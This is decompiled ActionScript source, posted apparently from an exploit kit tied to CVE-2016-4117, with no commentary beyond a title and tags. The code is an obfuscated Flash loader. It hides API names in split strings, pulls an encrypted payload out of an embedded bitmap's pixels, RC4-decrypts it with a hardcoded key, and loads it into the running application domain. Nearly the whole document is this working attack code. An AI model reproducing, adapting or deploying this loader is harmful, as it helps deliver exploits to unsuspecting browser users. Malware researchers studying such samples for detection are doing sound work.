CVE-2016-4117 Decompile source code

#hunter Exploitkit
#CVE-2016-4117
# https://twitter.com/hunter_exploit

//class IlllI
package
{
    public class IlllI extends Object
    {
        public function IlllI()
        {
            super();
            return;
        }


        {
            1lIl1 = "w";
            lI1l = "";
            I1l1Il11 = "";
            II = "m";
            II1I1I1 = "s";
            1l = "h";
            11IIl1ll = "j";
            1IlIIl1 = "k";
            I11lIl1 = "i";
            lIl1lI = "v";
            1I1l1l = "c";
            1II1lI = "k";
            lIIl1 = "u";
            1IIl1 = "o";
            lII1I = "a";
            1I = "f";
            l11Il = "r";
            lllI1l = "";
            lllI1l = "goto" + "AndPl" + "ay";
            1lIl1 = "a" + "ddedToS" + "tage";
            I11lIl1 = "flash.u" + "tils" + ".B" + "yteAr" + "ray";
            lI1l = "writ" + "eBy" + "te";
            11llI = "get" + "Pixel";
            Ill1l1 = "heig" + "ht";
            I1l1Il11 = "u" + "ncompr" + "ess";
            1ll1l = "bit" + "mapDa" + "ta";
            II = "all" + "owDoma" + "in";
            II1I1I1 = "c" + "urrent" + "Dom" + "ain";
            1l = "len" + "gth";
            1lI1l1 = "wi" + "dth";
            11IIl1ll = "getD" + "efin" + "ition";
            1IlIIl1 = "flash.d" + "is" + "p" + "lay.Loader";
            lIl1lI = "st" + "a" + "g" + "e";
            1I1l1l = "addE" + "vent" + "Li" + "stener";
            1II1lI = "rem" + "oveE" + "ventLis" + "tener";
            lIIl1 = "lo" + "a" + "dByt" + "es";
            1IIl1 = "addCh" + "ild";
            lII1I = "flash.syste" + "m.Sec" + "urity";
            1I = "char" + "CodeA" + "t";
            l11Il = "posi" + "tion";
        }

        public static var 1lIl1:String="w";

        public static var Ill1l1:String;

        public static var lI1l:String="";

        public static var I1l1Il11:String="";

        public static var II:String="m";

        public static var II1I1I1:String="s";

        public static var 1l:String="h";

        public static var 11IIl1ll:String="j";

        public static var 1lI1l1:String;

        public static var 1IlIIl1:String="k";

        public static var I11lIl1:String="i";

        public static var lIl1lI:String="v";

        public static var 11llI:String;

        public static var 1I1l1l:String="c";

        public static var 1II1lI:String="k";

        public static var lIIl1:String="u";

        public static var 1IIl1:String="o";

        public static var lII1I:String="a";

        public static var 1I:String="f";

        public static var 1ll1l:String;

        public static var l11Il:String="r";

        public static var lllI1l:String="";
    }
}


//class l1_lI_11_1llI_11_Il_Il1
package
{
    import flash.display.*;
    import flash.system.*;
    import flash.utils.*;

    public class l1_lI_11_1llI_11_Il_Il1 extends flash.display.MovieClip
    {
        public function l1_lI_11_1llI_11_Il_Il1(arg1:uint=0)
        {
            this.ll1Il1l = lI_11l_Ill_IlI_l1_1l1;
            super();
            this.1 = flash.system.ApplicationDomain[IlllI.II1I1I1];
            if (this[IlllI.lIl1lI])
            {
                this.l1I1l();
            }
            else
            {
                var loc1:*;
                (loc1 = this)[IlllI.1I1l1l](IlllI.1lIl1, this.l1I1l);
            }
            return;
        }

        public function l1I1l():void
        {
            var loc1:*=null;
            var loc2:*=undefined;
            var loc3:*=null;
            var loc4:*=undefined;
            try
            {
                loc1 = IlllI.1II1lI;
                (loc5 = this)[loc1](IlllI.1lIl1, this.l1I1l);
                loc2 = this.11Il11lll();
                loc2 = this.l1I1llI(loc2);
                loc3 = IlllI.1IIl1;
                (loc5 = loc4 = new ((loc5 = this.1)[IlllI.11IIl1ll](IlllI.1IlIIl1) as Class)())[IlllI.lIIl1](loc2);
                (loc5 = this)[loc3](loc4);
            }
            catch (e:Error)
            {
            };
            return;
        }

        internal function lII1IlI1():*
        {
            var loc1:*="2550586827383356736546741637" + "9451343324856475759404798327";
            var loc5:*;
            var loc2:*=new ((loc5 = this.1)[IlllI.11IIl1ll](IlllI.I11lIl1) as Class)();
            var loc3:*=0;
            var loc4:*=0;
            while (loc4 < loc1[IlllI.1l])
            {
                loc3 = (loc5 = loc1)[IlllI.1I](loc4);
                (loc5 = loc2)[IlllI.lI1l](loc3);
                ++loc4;
            }
            loc2[IlllI.l11Il] = 0;
            return loc2;
        }

        internal function 11Il11lll():*
        {
            var loc8:*=0;
            var loc9:*=0;
            var loc10:*;
            var loc1:*=new ((loc10 = this.1)[IlllI.11IIl1ll](IlllI.I11lIl1) as Class)();
            var loc2:*=new this.ll1Il1l()[IlllI.1ll1l];
            var loc3:*=loc2[IlllI.1lI1l1];
            var loc4:*=loc2[IlllI.Ill1l1];
            var loc5:*=0;
            var loc6:*=0;
            var loc7:*=0;
            while (loc7 < loc3)
            {
                loc8 = 0;
                while (loc8 < loc4)
                {
                    loc9 = (loc10 = loc2)[IlllI.11llI](loc7, loc8);
                    if (loc7 == 0 && loc8 == 0)
                    {
                        loc5 = loc9 & 16777215;
                    }
                    else
                    {
                        if (loc1[IlllI.1l] == loc5)
                        {
                            break;
                        }
                        (loc10 = loc1)[IlllI.lI1l](loc9 & 255);
                        if (loc1[IlllI.1l] == loc5)
                        {
                            break;
                        }
                        (loc10 = loc1)[IlllI.lI1l](loc9 >> 8 & 255);
                        if (loc1[IlllI.1l] == loc5)
                        {
                            break;
                        }
                        (loc10 = loc1)[IlllI.lI1l](loc9 >> 16 & 255);
                    }
                    ++loc8;
                }
                if (loc1[IlllI.1l] >= loc5)
                {
                    break;
                }
                ++loc7;
            }
            loc1[IlllI.l11Il] = 0;
            return loc1;
        }

        public function l1I1llI(arg1:*):*
        {
            var loc1:*=this.lII1IlI1();
            var loc16:*;
            var loc2:*=new ((loc16 = this.1)[IlllI.11IIl1ll](IlllI.I11lIl1) as Class)();
            var loc3:*;
            var loc4:*=(loc3 = 9 - 8 - 1);
            var loc5:*=0 + 0;
            var loc6:*=27 - 27 + 0;
            var loc7:*=33 - 33;
            var loc8:*=48 - 48;
            var loc9:*=113 - 113;
            var loc10:*=loc3 + 1 - 2;
            var loc11:*=10 + 10 - 20;
            var loc12:*=181 - 181;
            var loc13:*=10 + 10 - 20 - 0;
            var loc14:*=2342 - 2342;
            loc12 = 0;
            while (loc12 < 256)
            {
                (loc16 = loc2)[IlllI.lI1l](loc12);
                ++loc12;
            }
            var loc15:*=loc11 - loc10;
            loc2[IlllI.l11Il] = loc15 + loc10 + loc11;
            loc4 = 0;
            while (loc4 < 256)
            {
                loc8 = loc1[loc7] + (loc2[loc4] & 255) + loc8 & 255;
                loc15 = 0 + 0 + loc2[loc4];
                loc2[loc4] = loc2[loc8];
                loc2[loc8] = loc15;
                loc7 = (loc7 + 1 & 255) % loc1[IlllI.1l] & 240 + 15;
                ++loc4;
            }
            loc2[IlllI.l11Il] = 0;
            loc4 = 0;
            while (loc4 < arg1[IlllI.1l])
            {
                loc5 = loc5 + 1 & 240 + 15;
                loc6 = 0 + ((loc2[loc5] & 255) + loc6) & 255;
                loc15 = loc2[loc5];
                loc2[loc5] = loc2[loc6];
                loc2[loc6] = loc15;
                loc9 = 0 + ((loc2[loc5] & 255) + (loc2[loc6] & 255)) & 255;
                arg1[loc4] = 0 + 0 + arg1[loc4] & 255 ^ loc2[loc9];
                ++loc4;
            }
            return arg1;
        }

        internal var 1:*;

        internal var ll1Il1l:Class;
    }
}


//class lI_11l_Ill_IlI_l1_1l1
package
{
    import mx.core.*;

    public class lI_11l_Ill_IlI_l1_1l1 extends mx.core.BitmapAsset
    {
        public function lI_11l_Ill_IlI_l1_1l1()
        {
            super();
            return;
        }
    }
}


And with MX package